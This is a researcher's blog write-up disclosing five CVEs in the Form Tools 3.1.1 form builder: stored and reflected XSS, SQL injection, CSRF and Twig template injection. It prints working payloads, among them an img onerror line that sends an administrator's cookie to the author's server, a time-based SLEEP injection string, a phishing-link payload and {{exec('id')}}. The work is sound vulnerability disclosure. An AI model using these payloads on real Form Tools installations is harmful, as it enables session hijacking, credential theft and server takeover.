Error 404: Your Security Not Found – Tales of Web Vulnerabilities

Escrito por  Daniel Barros

Greetings to all,

This article aims to provide insights and stories about vulnerabilities in web applications and their impacts. Throughout this text, I will demonstrate how specific flaws can compromise not only an application but, consequently, its underlying infrastructure.

What is form tools?

Form Tools: Unveiling a Versatile Form Builder

Form Tools is a versatile, potent, open-source form builder program that can be seamlessly integrated into your website. Its primary purpose lies in effectively managing data and forms, offering a user-friendly interface that does not necessitate advanced programming knowledge.

Vulnerabilities identified in version 3.1.1:

I want to share insights from my recent research on the Form Tools application and the vulnerabilities I identified.

Cross-Site Scripting XSS – Stored (CVE-2024–22717)

Starting my application analysis, I operated under a non-privileged user account, which I’ll refer to as ‘cupcake’.

While examining the input fields of the application, I noticed something intriguing: the “First Name” field did not sanitize special characters. This was a notable observation.

However, when I saved the input and checked the user panel for ‘cupcake’, I observed that the HTML tags I had attempted to trigger did not function, and there was no section or tab reflecting the user’s name.

Given that this was a test scenario, I logged in as an administrator to check if the HTML tags <h1></h1> I had inserted earlier would work, potentially enlarging the text size.

As seen below, while logged in as an administrator, I navigated to the ‘clients’ tab on the left to view the registered clients. However, the previously inserted tag did not execute as expected.

Therefore, I decided to conduct a new test. This time, I inserted the tag <img src=x> (a simple HTML image tag intentionally malformed to test for Cross-Site Scripting (XSS) vulnerabilities. The src=x part is a placeholder, usually triggering an error, which can be exploited to execute malicious scripts), saved it successfully, and upon returning to the administrative panel, noticed that the tag had executed as intended.

Capitalizing on this vulnerability, which only affected the administrator’s view, I crafted a payload so that as soon as the system admin accessed the ‘clients’ tab, their session token would be sent to my Virtual Private Server (VPS). This would enable us to hijack their session.

The payload used for cookie hijacking was:

<img src=x onerror=”document.location=’http://[IP]:8000/?cookie=’+document.cookie;”>

On my VPS, I set up a web server using Python, anticipating the receipt of the admin’s cookie:

The command used to set up the web server was:

python3 -m http.server

After logging in as an administrator and accessing the ‘clients’ tab, the session cookie was successfully sent to my VPS, as evidenced in the following image:

With the administrator’s session cookie now in my possession, I went to the browser’s inspect tool and swapped the current cookie with the admin’s, then refreshed the page. This granted me access to the admin account.

This XSS attack allows malicious scripts to be stored on a target server, such as in a database. When other users access this stored data, the script executes in their browser. The impacts can be severe, including theft of cookies, session tokens, or other sensitive information belonging to the user.

SQL INJECTION (CVE-2024–22719)

I identified an SQL injection vulnerability in the application’s ‘keyword’ parameter. Upon navigating the ‘clients’ section, I observed a ‘search’ field used to locate clients in the system.

Subsequently, during a code review of the application, I discovered a vulnerable code snippet in the ‘client.class.php’ file:

Below, the concatenation of strings directly in SQL is performed, making the code vulnerable to SQL injection:

The variable $string, which contains the value of the keyword parameter, is directly incorporated into the SQL clause without being properly sanitized or handled. This practice creates an opening for SQL injection attacks, where a malicious attacker can manipulate the value of $string to execute unauthorized SQL commands.

To validate the vulnerability, I used the following payload for a time-based blind:

SLEEP(2)/*' or SLEEP(2) or '" or SLEEP(2) or "*/

Explanation of the payload:

  • SLEEP(2): This is an SQL function causing the SQL query to pause execution for 2 seconds. It is employed to intentionally introduce a delay and assess whether the application is susceptible to time-based SQL injection.
  • /*' or SLEEP(2) or '" or SLEEP(2) or "*/: This payload attempts to exploit the SQL injection vulnerability. The /* initiates a comment in SQL, and everything following it until */ is treated as a comment, disregarded by the database.

The objective of this payload is to ascertain if the application is vulnerable to time-based SQL injection. If successful, the SQL query will be manipulated to introduce a 2-second delay. The attached screenshot shows that the application delayed the response by 8 seconds, confirming the successful exploitation of the SQL injection vulnerability.

SQL Injection attacks pose a significant threat to web applications. They can lead to unauthorized access to sensitive data, such as personal user information, financial details, and internal business data. The impact can range from data theft and website defacement to complete system compromise and data loss.

Cross-Site Scripting XSS-Reflected (CVE-2024–22718)

Once again, in the administrative panel, I observed that changing a client’s profile would display the URL parameter client_id=2. I realized that altering this value would reflect on the page.

To exploit this, I injected a simple JavaScript command to validate the vulnerability: <script>alert(‘XSS’)</script>

This script successfully triggered, displaying the word “XSS” on the screen.

To demonstrate the impact of reflected XSS, I utilized the parameter and inserted a payload. This payload replaced the client_id number with a “click me” button. When a user clicks this button, a popup shows a page controlled by me. This page displays a “Welcome” message, prompting users to enter their username/email and password.

Payload used:

<a href=”https://yourdomain.com” onclick=”window.open(this.href, ‘New Window Name’, ‘width=600,height=400’); return false;” rel=”noopener” target=”_blank”>CLICK ME!</a>

This payload creates a hyperlink labeled “CLICK ME!” When clicked, it opens a new window with specific dimensions, directed to a URL I control. This technique is deceptive, as it appears harmless but can lead the user to a malicious site.

On the domain I control, the data is automatically saved in the data.txt file after the user enters their application credentials.

The command used to monitor this file: tail -f /directory/data.txt

The tail -f command is used to monitor the contents of the data.txt file in real time. It helps track the captured credentials as users enter them.

Through this reflected XSS attack, it was possible to steal user credentials. It’s important to note that for reflected XSS attacks to be effective, the victim must be enticed to click on a link containing the malicious payload.

CSRF  –  Cross-site Request Forgery (CVE-2024–22721)

While logged back in as the client ‘cupcake’, I noticed a flaw in the application. In the password change options, there is no requirement to enter the current password. This is a security vulnerability because it allows any user with system access to change the password without the application verifying the current password.

Next, I clicked on ‘update’ to analyze the POST request and identified that it is vulnerable to a CSRF (Cross-Site Request Forgery) attack since it doesn’t require a valid CSRF token to process the request. A CSRF token is a security measure to prevent unauthorized requests from being sent to a website on behalf of a user. Without a valid CSRF token requirement, the application is exposed to such attacks, allowing an attacker to forge a request that the application will process without a valid CSRF token.

There is a fantastic feature called the CSRF PoC Generator in Burp Suite. The CSRF PoC Generator helps create a simulation of a CSRF attack. It generates a sample webpage or a link that mimics a malicious request. When clicked, this link or page executes a command or changes settings without the user’s knowledge, demonstrating how a CSRF attack would work.

Demonstrating the Impact of CSRF:

Depending on the scenario and available information, an attacker could construct a link and send it to other users. In the example below, I altered the administrator’s data, including name, email, and password, while keeping the username as ‘admin’.

Using this tool, click on test in the browser, and a link will be generated so we can test/demonstrate the attack.

Logged in as the administrator in the system:

The request was resent after the admin accessed the sent link, and the administrator’s data was successfully altered.

Logged in as the administrator in the system:

The request was resent after the admin accessed the sent link, and the administrator’s data was successfully altered.

CSRF attacks represent a significant security risk. They allow attackers to execute actions on behalf of legitimate users without their consent. In this case, an administrator’s account details were altered without their knowledge by simply accessing a malicious link. This scenario highlights how CSRF can be used to gain unauthorized access and control over user accounts, posing a serious threat to the integrity and confidentiality of the system.

SSTI  – SERVER SIDE TEMPLATE INJECTION (CVE-2024–22722)

As an administrator logged into the system, I navigated to the ‘add form’ section and then to views.

When entering the ‘group name’, I noticed it was not vulnerable to Cross-Site Scripting (XSS), so I tested for Server-Side Template Injection (SSTI). I entered the command {{7*7}} to see if the system would perform the mathematical operation.

To my surprise, upon clicking ‘update’ after creating the group, the command executed successfully, returning the multiplication result: 49.

Considering that the application uses Twig, I executed the command {{exec(‘id’)}}. This successfully allowed me to execute commands on the server, returning the user ID and confirming the vulnerability.

This vulnerability allows an attacker to inject malicious commands into a server’s template engine, potentially leading to unauthorized access and control. The impact can be significant: from stealing sensitive data, compromising server integrity, and gaining full control over the server environment. A severe security flaw can undermine an application’s entire security posture.

Delving into the intricacies of cybersecurity is a crucial endeavor, and I hope this report has provided valuable insights into the potential threats that your organization may face.

Remember, it’s not merely about avoiding vulnerabilities but actively seeking to enhance security measures.

Thank you for entrusting your attention to me. I sincerely hope you’ve gleaned valuable insights that resonate with your organization’s cybersecurity strategy.

Keep learning, keep evolving, and most importantly, keep hacking the vulnerabilities before they hack you.

Logo da Hakai.